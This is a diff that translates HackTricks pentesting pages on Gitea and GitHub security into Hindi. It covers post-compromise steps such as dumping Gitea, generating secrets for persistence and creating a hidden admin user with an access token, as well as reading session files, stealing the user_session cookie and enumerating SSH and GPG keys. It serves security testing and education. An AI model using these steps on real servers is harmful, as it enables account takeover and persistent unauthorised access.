+- **sqlite** DB: यदि गीटिया एक बाहरी DB का उपयोग नहीं कर रहा है तो यह एक sqlite DB का उपयोग करेगा।
+- **सत्र** सत्र फ़ोल्डर के अंदर: `cat sessions/*/*/*` चलाकर आप लॉग इन किए गए उपयोगकर्ताओं के उपयोगकर्ता नाम देख सकते हैं (गीटिया सत्रों को DB के अंदर भी सहेज सकता है)।
+- **jwt निजी कुंजी** jwt फ़ोल्डर के अंदर।
+- इस फ़ोल्डर में अधिक **संवेदनशील जानकारी** मिल सकती है।
-If you are inside the server you can also **use the `gitea` binary** to access/modify information:
+यदि आप सर्वर के अंदर हैं तो आप **जानकारी तक पहुँचने/संशोधित करने के लिए `gitea` बाइनरी** का भी उपयोग कर सकते हैं:
-- `gitea dump` will dump gitea and generate a .zip file
-- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
-- `gitea admin user change-password --username admin --password newpassword` Change the password
-- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
+- `gitea dump` गीटिया को डंप करेगा और एक .zip फ़ाइल बनाएगा।
+- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` निर्दिष्ट प्रकार का एक टोकन उत्पन्न करेगा (स्थायीता)।
+- `gitea admin user change-password --username admin --password newpassword` पासवर्ड बदलें।
+- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` नया प्रशासक उपयोगकर्ता बनाएँ और एक एक्सेस टोकन प्राप्त करें।
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
index e6e4d9ba3..4a8343ab4 100644
--- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
+++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
@@ -4,104 +4,100 @@
## Basic Structure
-The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
+बुनियादी Gitea वातावरण संरचना **संस्थान(ओं)** द्वारा रिपोजिटरी को समूहित करने के लिए है, जिनमें से प्रत्येक में **कई रिपोजिटरी** और **कई टीमें** हो सकती हैं। हालाँकि, ध्यान दें कि github की तरह, उपयोगकर्ताओं के पास संगठन के बाहर रिपोजिटरी हो सकती हैं।
-Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
+इसके अलावा, एक **उपयोगकर्ता** **विभिन्न संगठनों** का **सदस्य** हो सकता है। संगठन के भीतर, उपयोगकर्ता के पास **प्रत्येक रिपोजिटरी पर विभिन्न अनुमतियाँ** हो सकती हैं।
-A user may also be **part of different teams** with different permissions over different repos.
+एक उपयोगकर्ता **विभिन्न टीमों** का भी **भाग** हो सकता है जिनके पास विभिन्न रिपोजिटरी पर विभिन्न अनुमतियाँ होती हैं।
-And finally **repositories may have special protection mechanisms**.
+और अंत में, **रिपोजिटरी में विशेष सुरक्षा तंत्र** हो सकते हैं।
## Permissions
### Organizations
-When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
+जब एक **संगठन बनाया जाता है**, तो एक टीम जिसे **Owners** कहा जाता है, **बनाई जाती है** और उपयोगकर्ता को इसके अंदर रखा जाता है। यह टीम **संगठन** पर **व्यवस्थापक पहुंच** प्रदान करेगी, ये **अनुमतियाँ** और टीम का **नाम** **संशोधित नहीं किया जा सकता**।
-**Org admins** (owners) can select the **visibility** of the organization:
+**Org admins** (owners) संगठन की **दृश्यता** का चयन कर सकते हैं:
-- Public
-- Limited (logged in users only)
-- Private (members only)
+- सार्वजनिक
+- सीमित (लॉगिन किए गए उपयोगकर्ताओं के लिए केवल)
+- निजी (सदस्यों के लिए केवल)
-**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
+**Org admins** यह भी संकेत कर सकते हैं कि क्या **repo admins** टीमों के लिए **पहुँच जोड़ने या हटाने** कर सकते हैं। वे अधिकतम रिपोजिटरी की संख्या भी संकेत कर सकते हैं।
-When creating a new team, several important settings are selected:
+एक नई टीम बनाते समय, कई महत्वपूर्ण सेटिंग्स चुनी जाती हैं:
-- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
-- It's also indicated **if members can create new repos** (creator will get admin access to it)
-- The **permissions** the **members** of the repo will **have**:
- - **Administrator** access
- - **Specific** access:
+- यह संकेत दिया गया है कि **टीम के सदस्य किस संगठन के रिपोजिटरी तक पहुँच सकते हैं**: विशिष्ट रिपोजिटरी (रिपोजिटरी जहाँ टीम जोड़ी गई है) या सभी।
+- यह भी संकेत दिया गया है कि **क्या सदस्य नए रिपोजिटरी बना सकते हैं** (निर्माता को इसके लिए व्यवस्थापक पहुंच प्राप्त होगी)
+- **रिपोजिटरी के सदस्यों के पास जो **अनुमतियाँ** होंगी**:
+- **व्यवस्थापक** पहुंच
+- **विशिष्ट** पहुंच:
.png>)
### Teams & Users
-In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
+एक रिपोजिटरी में, **org admin** और **repo admins** (यदि संगठन द्वारा अनुमति दी गई हो) सहयोगियों (अन्य उपयोगकर्ताओं) और टीमों को दिए गए **भूमिकाओं** का **प्रबंधन** कर सकते हैं। वहाँ **3** संभावित **भूमिकाएँ** हैं:
-- Administrator
-- Write
-- Read
+- व्यवस्थापक
+- लिखें
+- पढ़ें
## Gitea Authentication
### Web Access
-Using **username + password** and potentially (and recommended) a 2FA.
+**उपयोगकर्ता नाम + पासवर्ड** का उपयोग करना और संभावित रूप से (और अनुशंसित) 2FA।
### **SSH Keys**
-You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
+आप अपने खाते को एक या एक से अधिक सार्वजनिक कुंजियों के साथ कॉन्फ़िगर कर सकते हैं जो संबंधित **निजी कुंजी को आपके पक्ष में कार्य करने की अनुमति देती हैं।** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
#### **GPG Keys**
-You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
+आप **इन कुंजियों के साथ उपयोगकर्ता का प्रतिनिधित्व नहीं कर सकते** लेकिन यदि आप इसका उपयोग नहीं करते हैं तो यह संभव हो सकता है कि आप **बिना हस्ताक्षर के कमिट भेजने के लिए खोजे जाएं**।
### **Personal Access Tokens**
-You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
+आप व्यक्तिगत पहुंच टोकन उत्पन्न कर सकते हैं ताकि **एक एप्लिकेशन को आपके खाते तक पहुंच प्रदान की जा सके**। एक व्यक्तिगत पहुंच टोकन आपके खाते पर पूर्ण पहुंच देता है: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
### Oauth Applications
-Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
+व्यक्तिगत पहुंच टोकनों की तरह, **Oauth applications** आपके खाते और उन स्थानों पर **पूर्ण पहुंच** रखेंगे जहाँ आपके खाते को पहुंच है क्योंकि, जैसा कि [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes) में संकेतित किया गया है, स्कोप अभी तक समर्थित नहीं हैं:
.png>)
### Deploy keys
-Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
+डिप्लॉय कुंजियाँ रिपोजिटरी के लिए केवल पढ़ने या लिखने की पहुंच हो सकती हैं, इसलिए वे विशिष्ट रिपोजिटरी को समझौता करने के लिए दिलचस्प हो सकती हैं।
## Branch Protections
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
+ब्रांच सुरक्षा का उद्देश्य उपयोगकर्ताओं को **एक रिपोजिटरी का पूर्ण नियंत्रण नहीं देना** है। लक्ष्य यह है कि **कुछ शाखा के अंदर कोड लिखने से पहले कई सुरक्षा विधियाँ लगाई जाएं**।
-The **branch protections of a repository** can be found in _https://localhost:3000/\/\/settings/branches_
+**एक रिपोजिटरी की शाखा सुरक्षा** _https://localhost:3000/\/\/settings/branches_ पर पाई जा सकती है।
> [!NOTE]
-> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+> यह **संगठन स्तर पर शाखा सुरक्षा सेट करना संभव नहीं है**। इसलिए सभी को प्रत्येक रिपोजिटरी पर घोषित किया जाना चाहिए।
-Different protections can be applied to a branch (like to master):
+एक शाखा पर विभिन्न सुरक्षा लागू की जा सकती हैं (जैसे कि मास्टर पर):
-- **Disable Push**: No-one can push to this branch
-- **Enable Push**: Anyone with access can push, but not force push.
-- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
-- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
-- **Enable Status checks:** Require status checks to pass before merging.
-- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
-- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
-- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
-- **Block merge on official review requests**: If there official review requests it cannot be merged
-- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
-- **Require Signed Commits**: Commits must be signed.
-- **Block merge if pull request is outdated**
-- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
+- **पुश अक्षम करें**: कोई भी इस शाखा पर पुश नहीं कर सकता
+- **पुश सक्षम करें**: कोई भी जिसे पहुंच है वह पुश कर सकता है, लेकिन बल पुश नहीं कर सकता।
+- **व्हाइटलिस्ट प्रतिबंधित पुश**: केवल चयनित उपयोगकर्ता/टीम इस शाखा पर पुश कर सकते हैं (लेकिन कोई बल पुश नहीं)
+- **मर्ज व्हाइटलिस्ट सक्षम करें**: केवल व्हाइटलिस्टेड उपयोगकर्ता/टीम PRs को मर्ज कर सकते हैं।
+- **स्थिति जांच सक्षम करें:** मर्ज करने से पहले स्थिति जांच पास करने की आवश्यकता है।
+- **अनुमोदनों की आवश्यकता**: यह संकेत करें कि PR को मर्ज करने से पहले कितने अनुमोदनों की आवश्यकता है।
+- **व्हाइटलिस्टेड पर अनुमोदनों को प्रतिबंधित करें**: उन उपयोगकर्ताओं/टीमों को संकेत करें जो PRs को अनुमोदित कर सकते हैं।
+- **अस्वीकृत समीक्षाओं पर मर्ज को अवरुद्ध करें**: यदि परिवर्तन अनुरोध किए जाते हैं, तो इसे मर्ज नहीं किया जा सकता (यहां तक कि यदि अन्य जांच पास हो जाएं)
+- **आधिकारिक समीक्षा अनुरोधों पर मर्ज को अवरुद्ध करें**: यदि वहाँ आधिकारिक समीक्षा अनुरोध हैं, तो इसे मर्ज नहीं किया जा सकता
+- **पुराने अनुमोदनों को अस्वीकार करें**: जब नए कमिट होते हैं, तो पुराने अनुमोदनों को अस्वीकार कर दिया जाएगा।
+- **हस्ताक्षरित कमिट की आवश्यकता**: कमिट को हस्ताक्षरित होना चाहिए।
+- **यदि पुल अनुरोध पुराना है तो मर्ज को अवरुद्ध करें**
+- **संरक्षित/असंरक्षित फ़ाइल पैटर्न**: परिवर्तनों के खिलाफ सुरक्षा/असंरक्षित करने के लिए फ़ाइलों के पैटर्न को संकेत करें
> [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+> जैसा कि आप देख सकते हैं, भले ही आप किसी उपयोगकर्ता के कुछ क्रेडेंशियल प्राप्त करने में सफल रहे हों, **रिपोजिटरी को सुरक्षित किया जा सकता है जिससे आप उदाहरण के लिए मास्टर पर कोड पुश करने से रोक सकते हैं** ताकि CI/CD पाइपलाइन को समझौता किया जा सके।
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md
index cdad12b57..cd7efa78d 100644
--- a/src/pentesting-ci-cd/github-security/README.md
+++ b/src/pentesting-ci-cd/github-security/README.md
@@ -4,7 +4,7 @@
## What is Github
-(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
+(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub एक वेबसाइट और क्लाउड-आधारित सेवा है जो डेवलपर्स को उनके कोड को स्टोर और प्रबंधित करने में मदद करती है, साथ ही उनके कोड में परिवर्तनों को ट्रैक और नियंत्रित करने में भी**।
### Basic Information
@@ -14,17 +14,17 @@ basic-github-information.md
## External Recon
-Github repositories can be configured as public, private and internal.
+Github रिपॉजिटरी को सार्वजनिक, निजी और आंतरिक के रूप में कॉन्फ़िगर किया जा सकता है।
-- **Private** means that **only** people of the **organisation** will be able to access them
-- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
-- **Public** means that **all internet** is going to be able to access it.
+- **Private** का मतलब है कि **केवल** **संस्थान** के लोग ही उन्हें एक्सेस कर सकेंगे
+- **Internal** का मतलब है कि **केवल** **उद्यम** के लोग (एक उद्यम में कई संस्थान हो सकते हैं) इसे एक्सेस कर सकेंगे
+- **Public** का मतलब है कि **सभी इंटरनेट** इसे एक्सेस कर सकेगा।
-In case you know the **user, repo or organisation you want to target** you can use **github dorks** to find sensitive information or search for **sensitive information leaks** **on each repo**.
+यदि आप जानते हैं कि **कौन सा उपयोगकर्ता, रिपॉजिटरी या संगठन आप लक्षित करना चाहते हैं** तो आप **github dorks** का उपयोग करके संवेदनशील जानकारी खोज सकते हैं या **प्रत्येक रिपॉजिटरी पर संवेदनशील जानकारी लीक** के लिए खोज सकते हैं।
### Github Dorks
-Github allows to **search for something specifying as scope a user, a repo or an organisation**. Therefore, with a list of strings that are going to appear close to sensitive information you can easily **search for potential sensitive information in your target**.
+Github आपको **किसी चीज़ को खोजने की अनुमति देता है, जिसमें एक उपयोगकर्ता, एक रिपॉजिटरी या एक संगठन को स्कोप के रूप में निर्दिष्ट किया गया है**। इसलिए, संवेदनशील जानकारी के करीब आने वाले स्ट्रिंग्स की एक सूची के साथ, आप आसानी से **अपने लक्ष्य में संभावित संवेदनशील जानकारी के लिए खोज सकते हैं**।
Tools (each tool contains its list of dorks):
@@ -34,7 +34,7 @@ Tools (each tool contains its list of dorks):
### Github Leaks
-Please, note that the github dorks are also meant to search for leaks using github search options. This section is dedicated to those tools that will **download each repo and search for sensitive information in them** (even checking certain depth of commits).
+कृपया ध्यान दें कि github dorks का उपयोग लीक खोजने के लिए भी किया जाता है, जो github खोज विकल्पों का उपयोग करते हैं। यह अनुभाग उन उपकरणों के लिए समर्पित है जो **प्रत्येक रिपॉजिटरी को डाउनलोड करेंगे और उनमें संवेदनशील जानकारी के लिए खोज करेंगे** (यहां तक कि कमिट्स की निश्चित गहराई की जांच करना)।
Tools (each tool contains its list of regexes):
@@ -47,15 +47,15 @@ Tools (each tool contains its list of regexes):
- [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
> [!WARNING]
-> When you look for leaks in a repo and run something like `git log -p` don't forget there might be **other branches with other commits** containing secrets!
+> जब आप किसी रिपॉजिटरी में लीक की तलाश करते हैं और कुछ ऐसा चलाते हैं जैसे `git log -p` तो न भूलें कि **अन्य कमिट्स के साथ अन्य ब्रांच भी हो सकती हैं** जिनमें रहस्य हो सकते हैं!
### External Forks
-It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](./#execution-from-a-external-fork).
+यह संभव है कि **पुल अनुरोधों का दुरुपयोग करके रिपॉजिटरी को समझौता किया जाए**। यह जानने के लिए कि क्या कोई रिपॉजिटरी कमजोर है, आपको ज्यादातर Github Actions yaml कॉन्फ़िगरेशन पढ़ने की आवश्यकता है। [**इससे संबंधित अधिक जानकारी नीचे**](./#execution-from-a-external-fork)।
### Github Leaks in deleted/internal forks
-Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
+यहां तक कि यदि यह हटा दिया गया है या आंतरिक है, तो github रिपॉजिटरी के फोर्क से संवेदनशील डेटा प्राप्त करना संभव हो सकता है। इसे यहां जांचें:
{{#ref}}
accessible-deleted-data-in-github.md
@@ -65,110 +65,106 @@ accessible-deleted-data-in-github.md
### Member Privileges
-There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations//settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
+कुछ **डिफ़ॉल्ट विशेषताएँ** हैं जो **सदस्यों** को संगठन में सौंपा जा सकता है। इन्हें पृष्ठ `https://github.com/organizations//settings/member_privileges` या [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs) से नियंत्रित किया जा सकता है।
-- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
-- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
-- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
-- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
- - _I couldn't find this info in the APIs response, share if you do_
-- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
- - _I couldn't find this info in the APIs response, share if you do_
-- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
- - _I couldn't find this info in the APIs response, share if you do_
-- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
- - _I couldn't find this info in the APIs response, share if you do_
-- **More things can be configured** in this page but the previous are the ones more security related.
+- **Base permissions**: सदस्यों को संगठन की रिपॉजिटरी पर None/Read/write/Admin की अनुमति होगी। अनुशंसित है **None** या **Read**।
+- **Repository forking**: यदि आवश्यक नहीं है, तो सदस्यों को संगठन की रिपॉजिटरी को फोर्क करने की **अनुमति न दें**।
+- **Pages creation**: यदि आवश्यक नहीं है, तो सदस्यों को संगठन की रिपॉजिटरी से पृष्ठ प्रकाशित करने की **अनुमति न दें**। यदि आवश्यक हो, तो आप सार्वजनिक या निजी पृष्ठ बनाने की अनुमति दे सकते हैं।
+- **Integration access requests**: इसे सक्षम करने पर बाहरी सहयोगियों को इस संगठन और इसके संसाधनों तक पहुँच के लिए GitHub या OAuth ऐप्स के लिए अनुरोध करने की अनुमति होगी। यह आमतौर पर आवश्यक होता है, लेकिन यदि नहीं, तो इसे बंद करना बेहतर है।
+- _मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें_
+- **Repository visibility change**: यदि सक्षम है, तो **सदस्य** जिनके पास **रिपॉजिटरी** के लिए **admin** अनुमतियाँ हैं, वे **इसके दृश्यता को बदलने** में सक्षम होंगे। यदि अक्षम है, तो केवल संगठन के मालिक ही रिपॉजिटरी की दृश्यता बदल सकते हैं। यदि आप **नहीं** चाहते कि लोग चीजों को **सार्वजनिक** बनाएं, तो सुनिश्चित करें कि यह **अक्षम** है।
+- _मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें_
+- **Repository deletion and transfer**: यदि सक्षम है, तो सदस्यों के पास **admin** अनुमतियाँ होने पर वे सार्वजनिक और निजी **रिपॉजिटरी को **हटाने** या **स्थानांतरित** करने में सक्षम होंगे।
+- _मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें_
+- **Allow members to create teams**: यदि सक्षम है, तो संगठन का कोई भी **सदस्य** नए **टीम** बनाने में सक्षम होगा। यदि अक्षम है, तो केवल संगठन के मालिक नए टीम बना सकते हैं। इसे अक्षम रखना बेहतर है।
+- _मैंने APIs प्रतिक्रिया में यह जानकारी नहीं पाई, यदि आप करते हैं तो साझा करें_
+- **इस पृष्ठ पर और चीजें कॉन्फ़िगर की जा सकती हैं लेकिन पिछले अधिकतर सुरक्षा से संबंधित हैं।**
### Actions Settings
-Several security related settings can be configured for actions from the page `https://github.com/organizations//settings/actions`.
+कई सुरक्षा से संबंधित सेटिंग्स को पृष्ठ `https://github.com/organizations//settings/actions` से कॉन्फ़िगर किया जा सकता है।
> [!NOTE]
-> Note that all this configurations can also be set on each repository independently
+> ध्यान दें कि ये सभी कॉन्फ़िगरेशन प्रत्येक रिपॉजिटरी पर स्वतंत्र रूप से भी सेट किए जा सकते हैं
-- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
- - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
-- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
- - _I couldn't find an API with this info, share if you do_
-- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
- - _I couldn't find an API with this info, share if you do_
-- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
- - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
+- **Github actions policies**: यह आपको यह संकेत देने की अनुमति देता है कि कौन सी रिपॉजिटरी कार्यप्रवाह चला सकती हैं और कौन से कार्यप्रवाह की अनुमति दी जानी चाहिए। अनुशंसित है कि **कौन सी रिपॉजिटरी** की अनुमति दी जानी चाहिए, इसे निर्दिष्ट करें और सभी कार्यों को चलाने की अनुमति न दें।
+- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
+- **Fork pull request workflows from outside collaborators**: अनुशंसित है कि **सभी** बाहरी सहयोगियों के लिए अनुमोदन की आवश्यकता हो।
+- _मैंने इस जानकारी के साथ कोई API नहीं पाई, यदि आप करते हैं तो साझा करें_
+- **Run workflows from fork pull requests**: यह अत्यधिक **निषेधित है कि पुल अनुरोधों से कार्यप्रवाह चलाए जाएं** क्योंकि फोर्क मूल के रखरखावकर्ताओं को स्रोत रिपॉजिटरी पर पढ़ने की अनुमतियों के साथ टोकन का उपयोग करने की क्षमता दी जाएगी।
+- _मैंने इस जानकारी के साथ कोई API नहीं पाई, यदि आप करते हैं तो साझा करें_
+- **Workflow permissions**: यह अत्यधिक अनुशंसित है कि **केवल पढ़ने की रिपॉजिटरी अनुमतियाँ** दी जाएं। GITHUB_TOKEN का दुरुपयोग करने से बचने के लिए लिखने और पुल अनुरोधों को बनाने/स्वीकृत करने की अनुमतियाँ देना हतोत्साहित किया जाता है।
+- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
### Integrations
-_Let me know if you know the API endpoint to access this info!_
+_यदि आप इस जानकारी तक पहुँचने के लिए API एंडपॉइंट जानते हैं तो मुझे बताएं!_
-- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
-- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
+- **Third-party application access policy**: अनुशंसित है कि हर एप्लिकेशन तक पहुँच को प्रतिबंधित करें और केवल आवश्यक एप्लिकेशन को अनुमति दें (उनकी समीक्षा करने के बाद)।
+- **Installed GitHub Apps**: अनुशंसित है कि केवल आवश्यक एप्लिकेशन को अनुमति दें (उनकी समीक्षा करने के बाद)।
## Recon & Attacks abusing credentials
-For this scenario we are going to suppose that you have obtained some access to a github account.
+इस परिदृश्य के लिए हम मान लेंगे कि आपने github खाते तक कुछ पहुँच प्राप्त कर ली है।
### With User Credentials
-If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
+यदि आपके पास किसी संगठन के भीतर एक उपयोगकर्ता के लिए क्रेडेंशियल्स हैं, तो आप **बस लॉगिन कर सकते हैं** और देख सकते हैं कि आपके पास कौन से **उद्यम और संगठन की भूमिकाएँ हैं**, यदि आप एक सामान्य सदस्य हैं, तो देख सकते हैं कि सामान्य सदस्यों के पास कौन सी **अनुमतियाँ हैं**, आप किस **समूहों** में हैं, आपके पास कौन सी **अनुमतियाँ हैं** और **रिपॉजिटरी कैसे सुरक्षित हैं।**
-Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
+ध्यान दें कि **2FA का उपयोग किया जा सकता है** इसलिए आप केवल तभी इस जानकारी तक पहुँच सकते हैं जब आप उस जांच को भी **पास कर सकें**।
> [!NOTE]
-> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
+> ध्यान दें कि यदि आप **`user_session` कुकी चुराने में सफल होते हैं** (जो वर्तमान में SameSite: Lax के साथ कॉन्फ़िगर की गई है) तो आप **बिना क्रेडेंशियल्स या 2FA की आवश्यकता के उपयोगकर्ता का पूरी तरह से प्रतिनिधित्व कर सकते हैं**।
-Check the section below about [**branch protections bypasses**](./#branch-protection-bypass) in case it's useful.
+यदि यह उपयोगी हो तो [**branch protections bypasses**](./#branch-protection-bypass) के बारे में नीचे दिए गए अनुभाग की जांच करें।
### With User SSH Key
-Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
-
-With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
+Github **उपयोगकर्ताओं** को **SSH कुंजी** सेट करने की अनुमति देता है जो उनके पक्ष में कोड तैनात करने के लिए **प्रमाणन विधि** के रूप में उपयोग की जाएगी (कोई 2FA लागू नहीं होता)।
+इस कुंजी के साथ आप **उन रिपॉजिटरी में परिवर्तन कर सकते हैं जहां उपयोगकर्ता के पास कुछ विशेषताएँ हैं**, हालाँकि आप इसका उपयोग github api तक पहुँचने के लिए नहीं कर सकते हैं ताकि वातावरण को सूचीबद्ध किया जा सके। हालाँकि, आप **स्थानीय सेटिंग्स को सूचीबद्ध कर सकते हैं** ताकि उन रिपॉजिटरी और उपयोगकर्ता के बारे में जानकारी प्राप्त की जा सके जिन तक आपकी पहुँच है:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
+यदि उपयोगकर्ता ने अपना उपयोगकर्ता नाम अपने github उपयोगकर्ता नाम के रूप में कॉन्फ़िगर किया है, तो आप उसके खाते में सेट किए गए **सार्वजनिक कुंजियों** को _https://github.com/\.keys_ पर एक्सेस कर सकते हैं, आप यह पुष्टि करने के लिए इसे चेक कर सकते हैं कि जो निजी कुंजी आपने पाई है वह उपयोग की जा सकती है।
-If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used.
+**SSH कुंजियाँ** को **डिप्लॉय कुंजियों** के रूप में रिपॉजिटरी में भी सेट किया जा सकता है। इस कुंजी तक पहुँच रखने वाला कोई भी व्यक्ति **एक रिपॉजिटरी से प्रोजेक्ट लॉन्च** कर सकेगा। आमतौर पर, विभिन्न डिप्लॉय कुंजियों के साथ एक सर्वर में स्थानीय फ़ाइल **`~/.ssh/config`** आपको संबंधित कुंजी के बारे में जानकारी देगी।
-**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
+#### GPG कुंजियाँ
-#### GPG Keys
-
-As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
-
-Check locally if the current user has any key with:
+जैसा कि [**यहाँ**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) समझाया गया है, कभी-कभी कमिट्स पर हस्ताक्षर करना आवश्यक होता है या आप खोजे जा सकते हैं।
+स्थानीय रूप से चेक करें कि क्या वर्तमान उपयोगकर्ता के पास कोई कुंजी है:
```shell
gpg --list-secret-keys --keyid-format=long
```
-
### With User Token
For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
-A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
+एक उपयोगकर्ता टोकन को **पासवर्ड के बजाय** Git over HTTPS के लिए उपयोग किया जा सकता है, या [**API पर बेसिक ऑथेंटिकेशन के माध्यम से प्रमाणित करने के लिए**](https://docs.github.com/v3/auth/#basic-authentication) उपयोग किया जा सकता है। इसके साथ जुड़े विशेषाधिकारों के आधार पर, आप विभिन्न क्रियाएँ करने में सक्षम हो सकते हैं।
-A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
